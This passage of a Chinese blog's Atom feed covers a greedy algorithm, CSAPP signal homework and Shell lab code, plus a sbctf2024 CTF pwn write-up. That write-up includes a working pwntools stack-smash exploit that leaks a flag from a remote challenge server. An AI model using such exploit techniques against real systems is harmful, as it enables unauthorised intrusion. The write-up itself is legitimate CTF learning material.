algorithm），又称贪婪算法，是一种在每一步选择中都采取在当前状态下最好或最优（即最有利）的选择，从而希望导致结果是最好或最优的算法。<a href="https://zh.wikipedia.org/wiki/%E8%B4%AA%E5%BF%83%E7%AE%97%E6%B3%95">https://zh.wikipedia.org/wiki/%E8%B4%AA%E5%BF%83%E7%AE%97%E6%B3%95</a>  </p><h2 id="区间选点"><a href="#区间选点" class="headerlink" title="区间选点"></a>区间选点</h2><p>两个区间没有交集时需要加两个点，否则只用一个，也可能出现多个区间公用一个点。先通过右端点进行排序（也可以左端点），然后如果l_{i+1} &lt; r_{i} 就不用加点，否则需要加点。<br>证明：设最终结果为ans,上述的结果为cnt。<br>由于结果为ans，所以 ans &lt;&#x3D; cnt;  根据cnt的定义，有cnt个互无交集的区间，所以至少有答案至少有cnt个点,所以ans &gt;&#x3D; cnt;  综上，ans&#x3D;&#x3D;cnt;</p><p>代码如下：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br></pre></td><td class="code"><pre><span class="line">#include&lt;iostream&gt;</span><br><span class="line">#include&lt;algorithm&gt;</span><br><span class="line"></span><br><span class="line">using namespace std;</span><br><span class="line"></span><br><span class="line">const int N = 1e5+10;</span><br><span class="line"></span><br><span class="line">struct Range&#123;</span><br><span class="line">    int l,r;</span><br><span class="line">    bool operator &lt; (const Range &amp;r) const&#123;</span><br><span class="line">        return this-&gt;r &lt; r.r;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;range[N];</span><br><span class="line"></span><br><span class="line">int main()&#123;</span><br><span class="line">    // cout &lt;&lt; &quot;aaaaaaaaa&quot; &lt;&lt; endl;</span><br><span class="line">    int n;</span><br><span class="line">    cin &gt;&gt; n;</span><br><span class="line">    for(int i=0; i&lt;n; i++) cin &gt;&gt; range[i].l &gt;&gt; range[i].r;</span><br><span class="line">    </span><br><span class="line">    sort(range,range+n);</span><br><span class="line">    </span><br><span class="line">    int min = -1e9 - 10;</span><br><span class="line">    int res=0;</span><br><span class="line">    for(int i=0; i&lt;n; i++)&#123;</span><br><span class="line">        if(range[i].l &gt; min)&#123;</span><br><span class="line">            res++;</span><br><span class="line">            min = range[i].r;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    cout &lt;&lt; res &lt;&lt; endl;</span><br><span class="line">    return 0;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>]]>
    </content>
    <id>http://example.com/2024/02/21/%E7%AE%97%E6%B3%95%E5%9F%BA%E7%A1%80/</id>
    <link href="http://example.com/2024/02/21/%E7%AE%97%E6%B3%95%E5%9F%BA%E7%A1%80/"/>
    <published>2024-02-21T00:06:00.000Z</published>
    <summary>
      <![CDATA[<p>学习基础算法</p>]]>
    </summary>
    <title>基础算法</title>
    <updated>2026-04-07T13:39:04.711Z</updated>
  </entry>
  <entry>
    <author>
      <name>John Doe</name>
    </author>
    <category term="pwn" scheme="http://example.com/categories/pwn/"/>
    <category term="ctf" scheme="http://example.com/tags/ctf/"/>
    <content>
      <![CDATA[<p>复现一下sbctf2024</p><span id="more"></span><h1 id="week-1"><a href="#week-1" class="headerlink" title="week 1"></a>week 1</h1><h2 id="Legacy-of-the-Conqueror"><a href="#Legacy-of-the-Conqueror" class="headerlink" title="Legacy_of_the_Conqueror"></a>Legacy_of_the_Conqueror</h2><p>检查保护机制：<br><img src="/%E4%BF%9D%E6%8A%A4%E6%9C%BA%E5%88%B6.png" alt="保护机制"><br>用ida看源码：<br><img src="/main.png" alt="main"><br>经典菜单，输入变量v3，当v3为1时进入read_story，为2进入update_story，为3退出循环  </p><p>v3为1时，查看read_story,把flag写入了以flag为开头地址的bss段中:<br><img src="/read_story.png" alt="read_story"></p><p>v3为2时，查看update_story,咋一看没有溢出，但是打开input函数，发现可以溢出一个字节0x00,由于打开your_story 时，文件描述符为3，所以可以将其覆盖为0。<br><img src="/update_story.png" alt="update_story"><br><img src="/input.png" alt="input"></p><p>将v2覆盖为0后，read便从标准输入，写入到v3。便可以发生栈溢出，通过<a href="http://0x4c43.cn/2018/1013/stack-overflow-smash-utilization/">stack smash(破坏canary)</a>来解决。  </p><p>首先找出偏移&#x3D;v1到程序名的一级指针的偏移量-v2大小，然后找到flag的地址，构成payload。<br>注意下图这个二级指针的地址不是我们要的，它是main函数的参数,要的是它指向的一级指针的地址。<br><img src="/%E4%BA%8C%E7%BA%A7%E6%8C%87%E9%92%88.png" alt="二级指针"></p><p>exp:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line">from pwn import *</span><br><span class="line"></span><br><span class="line">#context.log_level = &quot;Debug&quot;</span><br><span class="line"></span><br><span class="line">#p = process(&#x27;./pwn&#x27;)</span><br><span class="line">p = remote(&#x27;47.76.71.50&#x27;,20148)</span><br><span class="line">flag = 0x404060</span><br><span class="line">def read_story() :</span><br><span class="line">    p.sendline(b&quot;1&quot;)</span><br><span class="line"></span><br><span class="line">def update_story() :</span><br><span class="line">    p.sendline(b&#x27;2&#x27;)</span><br><span class="line">    payload =  0x1a4 * b&#x27;a&#x27;+pack(flag,bits=64)</span><br><span class="line">    raw_input()</span><br><span class="line">    p.sendline(payload)</span><br><span class="line"></span><br><span class="line">read_story()</span><br><span class="line">update_story()</span><br><span class="line"></span><br><span class="line">raw_input()</span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure><h1 id="week-2"><a href="#week-2" class="headerlink" title="week 2"></a>week 2</h1>]]>
    </content>
    <id>http://example.com/2024/01/25/sbctf2024/</id>
    <link href="http://example.com/2024/01/25/sbctf2024/"/>
    <published>2024-01-25T09:52:49.000Z</published>
    <summary>
      <![CDATA[<p>复现一下sbctf2024</p>]]>
    </summary>
    <title>sbctf2024</title>
    <updated>2026-04-07T13:39:04.711Z</updated>
  </entry>
  <entry>
    <author>
      <name>John Doe</name>
    </author>
    <category term="csapp" scheme="http://example.com/categories/csapp/"/>
    <category term="错误控制流" scheme="http://example.com/tags/%E9%94%99%E8%AF%AF%E6%8E%A7%E5%88%B6%E6%B5%81/"/>
    <content>
      <![CDATA[<p>记录一下csapp第八章homework</p><span id="more"></span><h2 id="8-23"><a href="#8-23" class="headerlink" title="8-23"></a><strong>8-23</strong></h2><p> <em>题目中counter等于2，当子进程发送了一个信号sigusr2给父进程时，父进程进入异常处理程序。紧接着，子进程又发送了一个信号，而父进程此时仍在处理程序中，内核设置pending位为1。后续子进程继续发送信号，由于父进程始终处于第一个信号处理程序中，所以剩下三个信号均被丢弃。最后再接收第二个信号。</em></p><p>但是在我的计算机上面跑这个程序得到了不同的结果，如图：<br>  <img src="/%E4%BF%A1%E5%8F%B7%E8%AE%A1%E6%95%B0.png" alt="信号计数"></p><p>原因是子进程发送信号后，父进程没有立即处理，所以pending位被一直占用，所以四个信号都被丢弃了。只进行了一次处理程序。<br>可以通过不断增加发送信号的次数,以增加切换到父进程的概率，观察counter的变化。<br>还可以通过向for循环增加sleep以得到正确的次数。</p><h2 id="8-24"><a href="#8-24" class="headerlink" title="8-24   "></a><strong>8-24</strong>   </h2><p>修改例子后的代码如下</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br></pre></td><td class="code"><pre><span class="line">#include&quot;../csapp.h&quot;</span><br><span class="line">#define N 2</span><br><span class="line"></span><br><span class="line">int main()&#123;</span><br><span class="line">        int status,i;</span><br><span class="line">        pid_t pid;</span><br><span class="line"></span><br><span class="line">        for(int i=0; i&lt; N; i++)&#123;</span><br><span class="line">                if((pid = Fork()) == 0)</span><br><span class="line">                &#123;</span><br><span class="line">                        char* ptr = (char*)&amp;main;</span><br><span class="line">                        *ptr = &#x27;c&#x27;;</span><br><span class="line">                &#125;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">        while((pid = waitpid(-1,&amp;status,0)) &gt; 0)&#123;</span><br><span class="line">                if(WIFEXITED(status))&#123;</span><br><span class="line">                        printf(&quot;child %d terminated normally with exit status=%d\n&quot;, pid, WEXITSTATUS(status));</span><br><span class="line">                &#125;</span><br><span class="line">                else if(WIFSIGNALED(status))&#123;</span><br><span class="line">                        char buf[128];</span><br><span class="line">                        sprintf(buf,&quot;child %d terminated by signal %d &quot;,pid,WTERMSIG(status));</span><br><span class="line">                        psignal(WTERMSIG(status),buf);</span><br><span class="line">                &#125;</span><br><span class="line">                else</span><br><span class="line">                        printf(&quot;child %d terminated abnormally\n&quot;,pid);</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        if(errno != ECHILD)&#123;</span><br><span class="line">                unix_error(&quot;waitpid error&quot;);</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        exit(0);</span><br></pre></td></tr></table></figure><h2 id="8-25"><a href="#8-25" class="headerlink" title="8-25"></a><strong>8-25</strong></h2><p><em>初看题目没什么思路，按题目的意思，要求在五秒之后中断输入，直接返回NULL</em><br>如何中断呢，还限时，那就只有alarm了。<br>五秒钟过后，如何在返回NULL呢，要用到<strong>非本地跳转</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br></pre></td><td class="code"><pre><span class="line">#include&quot;../csapp.h&quot;</span><br><span class="line"></span><br><span class="line">sigjmp_buf buf;</span><br><span class="line"></span><br><span class="line">void handler(int sig)&#123;</span><br><span class="line">        siglongjmp(buf,1);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">char* tfgets(char* s,int n, FILE* stream)&#123;</span><br><span class="line">        if(!sigsetjmp(buf,1))//保存信号屏蔽字</span><br><span class="line">        &#123;</span><br><span class="line">                alarm(5);</span><br><span class="line">                if(Signal(SIGALRM,handler)==SIG_ERR)</span><br><span class="line">                &#123;</span><br><span class="line">                        unix_error(&quot;Failed to install SIGALRM&#x27;s handler&quot;);</span><br><span class="line">                        return NULL;</span><br><span class="line">                &#125;</span><br><span class="line">                return fgets(s,n,stream);</span><br><span class="line">        &#125;else&#123;</span><br><span class="line">                return NULL;</span><br><span class="line">        &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">int main()&#123;</span><br><span class="line">        char buf[100] ;</span><br><span class="line">        char* res;</span><br><span class="line">        res=tfgets(buf,99,stdin);</span><br><span class="line">        if(res)</span><br><span class="line">                printf(&quot;%s&quot;,buf);</span><br><span class="line">        else</span><br><span class="line">                printf(&quot;Time out!&quot;);</span><br><span class="line"></span><br><span class="line">        return 1;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="8-26"><a href="#8-26" class="headerlink" title="8-26"></a><strong>8-26</strong></h2><p>感觉这个比lab要难。lab直接填，而这个要自己写出job</p><p>第一个要求，之前书上实现过了,不过等待信号要用sigsuspend,</p><p>就是<a href="https://hxblog.fun/2023/12/03/Shell-lab/#more">lab</a></p>]]>
    </content>
    <id>http://example.com/2023/12/03/%E5%BC%82%E5%B8%B8%E6%8E%A7%E5%88%B6%E6%B5%81-homework/</id>
    <link href="http://example.com/2023/12/03/%E5%BC%82%E5%B8%B8%E6%8E%A7%E5%88%B6%E6%B5%81-homework/"/>
    <published>2023-12-03T16:00:20.000Z</published>
    <summary>
      <![CDATA[<p>记录一下csapp第八章homework</p>]]>
    </summary>
    <title>异常控制流-homework</title>
    <updated>2026-04-07T13:39:04.711Z</updated>
  </entry>
  <entry>
    <author>
      <name>John Doe</name>
    </author>
    <category term="csapp" scheme="http://example.com/categories/csapp/"/>
    <category term="错误控制流" scheme="http://example.com/tags/%E9%94%99%E8%AF%AF%E6%8E%A7%E5%88%B6%E6%B5%81/"/>
    <content>
      <![CDATA[<p>记录一下shell lab 的求解过程</p><span id="more"></span><h1 id="Shell-lab"><a href="#Shell-lab" class="headerlink" title="Shell lab"></a>Shell lab</h1><h2 id="test09"><a href="#test09" class="headerlink" title="test09"></a>test09</h2><p>tshref 的结果显示如下：<br><img src="https://cdn.jsdelivr.net/gh/hx294/blog-images/img/20260407203238355.png" alt="tshref"><br>明显要求构造bg的内部命令<br>使用atoi将字符串转化为数字，但是使用该函数前先要检验argv[1]是否存在，否则会导致段错误<br>如果转化失败或者没有该数字对应的job或pid ，就输出相应数字，报告错误<br><img src="https://cdn.jsdelivr.net/gh/hx294/blog-images/img/20260407203309740.png" alt="bg报错"><br>测试时发现，bg有时会输出两遍,一时没想明白：<br><img src="https://cdn.jsdelivr.net/gh/hx294/blog-images/img/20260407203353093.png" alt="两次输出"><br>经过不断调试发现，最终在发现进程从暂停中恢复时也会向父进程发送信号sigchild，而有时输出两遍，大概率是信号中断了输出，导致多输出了一遍。  显然解决方案是把printf语句移动到信号continue发送给子进程之前。可是这样并不能解决问题，因为不能将所有的printf都移到发送信号前，例如：<br><img src="https://cdn.jsdelivr.net/gh/hx294/blog-images/img/20260407203358600.png" alt="tsh两次输出"><br>将shell的名字输出了两遍。想到一个办法就是在发送信号后，sleep一会儿，这样就算sleep被信号中断也不会发生什么。</p><h3 id="注意"><a href="#注意" class="headerlink" title="注意"></a>注意</h3><p>当我把wait的参数去掉continue时，发现这种情况不再发生，不知道为什么。</p><h2 id="test10"><a href="#test10" class="headerlink" title="test10"></a>test10</h2><p>要求构造fg的内部命令。<br>fg呢分为把后台进程变为前台，以及暂停的进程变为前台(无所谓之前进程是前台或后台)。  注意调用waitfg要处于屏蔽sigchld信号状态，否则可能导致子进程结束在调用waitfg之前。  </p><p>两题的代码如下:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br></pre></td><td class="code"><pre><span class="line">void do_bgfg(char **argv) </span><br><span class="line">&#123;</span><br><span class="line"></span><br><span class="line">int pid,jid;</span><br><span class="line"></span><br><span class="line">//int isjob = 0;</span><br><span class="line">int bg = 0;</span><br><span class="line">sigset_t mask_one,prev_one;</span><br><span class="line">sigaddset(&amp;mask_one,SIGCHLD);</span><br><span class="line">if(argv[1] == NULL )&#123;</span><br><span class="line">printf(&quot;bg command requires PID or %%jobid argument\n&quot;);</span><br><span class="line">return;</span><br><span class="line">&#125;</span><br><span class="line">if((argv[1][0] != &#x27;%&#x27; &amp;&amp; (argv[1][0] &lt; &#x27;0&#x27; || argv[1][0] &gt; &#x27;9&#x27; )))&#123;</span><br><span class="line">printf(&quot;%s: argument must be a PID or %%jobid\n&quot;,argv[0]);</span><br><span class="line">return;</span><br><span class="line">&#125;</span><br><span class="line">if(!strcmp(argv[0],&quot;bg&quot;))</span><br><span class="line">bg = 1; </span><br><span class="line">if(argv[1][0] != &#x27;%&#x27;)&#123;</span><br><span class="line">pid = atoi(&amp;argv[1][0]);</span><br><span class="line"></span><br><span class="line">/*</span><br><span class="line">if(pid == 0)&#123;</span><br><span class="line">printf(&quot;%s: No such job\n&quot;,argv[1]);</span><br><span class="line">return;</span><br><span class="line">&#125;</span><br><span class="line">*/</span><br><span class="line"></span><br><span class="line">struct job_t *j = getjobpid(jobs,pid);</span><br><span class="line">if(!j)</span><br><span class="line">&#123;</span><br><span class="line">printf(&quot;%s: No such job\n&quot;,argv[1]);</span><br><span class="line">return;</span><br><span class="line"></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">//isjob = 1;</span><br><span class="line">if(bg)&#123;</span><br><span class="line">//printf(&quot;first\n&quot;);</span><br><span class="line">j-&gt;state = BG;</span><br><span class="line">printf(&quot;[%d] (%d) %s&quot;, j-&gt;jid, j-&gt;pid, j-&gt;cmdline);</span><br><span class="line">killpg(pid,SIGCONT);</span><br><span class="line"></span><br><span class="line">&#125;else&#123;</span><br><span class="line">// 进入前要对sigchld信号进行屏蔽，否则可能死循环。</span><br><span class="line">sigprocmask(SIG_BLOCK,&amp;mask_one,&amp;prev_one);</span><br><span class="line"></span><br><span class="line">if(j-&gt;state == ST)</span><br><span class="line">killpg(pid,SIGCONT);</span><br><span class="line">j-&gt;state = FG;</span><br><span class="line">waitfg(j-&gt;pid);</span><br><span class="line">sigprocmask(SIG_SETMASK,&amp;prev_one,NULL);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">&#125;else &#123;</span><br><span class="line">jid = atoi(&amp;argv[1][1]);</span><br><span class="line">/*</span><br><span class="line">if(jid == 0)&#123;</span><br><span class="line">printf(&quot;(%s): No such process\n&quot;,argv[1]);</span><br><span class="line">return;</span><br><span class="line">&#125;</span><br><span class="line">*/</span><br><span class="line">struct job_t *j =  getjobjid(jobs,jid);</span><br><span class="line"></span><br><span class="line">if(!j)&#123;</span><br><span class="line">printf(&quot;(%s): No such process\n&quot;,argv[1]);</span><br><span class="line">return;</span><br><span class="line">&#125;</span><br><span class="line">if(bg)&#123;</span><br><span class="line">j-&gt;state = BG;</span><br><span class="line">printf(&quot;[%d] (%d) %s&quot;, j-&gt;jid, j-&gt;pid, j-&gt;cmdline);</span><br><span class="line">killpg(j-&gt;pid,SIGCONT);</span><br><span class="line"></span><br><span class="line">&#125;else&#123;</span><br><span class="line">// 进入前要对sigchld信号进行屏蔽，否则可能死循环。</span><br><span class="line">//sigprocmask(SIG_BLOCK,&amp;mask_one,&amp;prev_one);</span><br><span class="line"></span><br><span class="line">//printf(&quot;fg\n&quot;);</span><br><span class="line">if(j-&gt;state== ST)</span><br><span class="line">killpg(j-&gt;pid,SIGCONT);</span><br><span class="line">j-&gt;state = FG;</span><br><span class="line"></span><br><span class="line">waitfg(j-&gt;pid);</span><br><span class="line">//sigprocmask(SIG_SETMASK,&amp;prev_one,NULL);</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">    return;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="后面的test"><a href="#后面的test" class="headerlink" title="后面的test"></a>后面的test</h2><p>能做到这里，前面的应该都实现了吧。</p>]]>
    </content>
    <id>http://example.com/2023/12/03/Shell-lab/</id>
    <link href="http://example.com/2023/12/03/Shell-lab/"/>
    <published>2023-12-03T00:20:09.000Z</published>
    <summary>
      <![CDATA[<p>记录一下shell lab 的求解过程</p>]]>
    </summary>
    <title>Shell lab</title>
    <updated>2026-04-07T13:39:04.711Z</updated>
  </entry>
</feed>
